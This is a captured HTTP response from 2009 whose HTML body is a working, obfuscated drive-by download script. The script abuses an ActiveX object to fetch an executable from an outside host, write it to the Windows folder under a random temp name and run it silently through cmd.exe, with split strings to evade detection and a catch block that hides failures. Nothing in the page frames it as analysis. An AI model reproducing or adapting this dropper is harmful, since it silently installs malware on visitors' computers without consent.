HTTP/1.1 200 OK
Connection: close
Date: Fri, 26 Jun 2009 16:07:58 GMT
Content-Length: 958
Content-Type: text/html
Last-Modified: Wed, 10 Jun 2009 12:13:43 GMT
Accept-Ranges: bytes
ETag: "745d1e5c4e9c91:159e5"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

<script language=javascript>
function gn(n) 
{ 
var number = Math.random()*n; return '~tmp'+Math.round(number)+'.exe'; 
} 
try 
{ aaa="ob";
bbb="je";
yyy="ct";
ccc="Adodb.";
ddd="Stream";
eee="Microsoft.";
fff="XMLHTTP";
ggg="o";
kkk="p";
mmm="e";
sss="n";
lj='http://online.w84.okwit.com/1.exe'; 
var df=document.createElement(aaa+bbb+yyy); 
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); 
var x=df.CreateObject(eee+fff,""); 
var S=df.CreateObject(ccc+ddd,""); 
S.type=1; 
x.open("GET", lj,0);
x.send(); 
mz1=gn(10000); 
var F=df.CreateObject("Scripting.FileSystemObject",""); 
var tmp=F.GetSpecialFolder(0); mz1= F.BuildPath(tmp,mz1); 
S.Open();
ttt=x.responseBody;
S.Write(ttt); 
S.SaveToFile(mz1,2); S.Close(); 
var Q=df.CreateObject("Shell.Application",""); 
exp1=F.BuildPath(tmp+'\\system32','cmd.exe'); 
Q.ShellExecute(exp1,' /c '+mz1,"",ggg+kkk+mmm+sss,0); 
} catch(i) { i=1; } 
</script>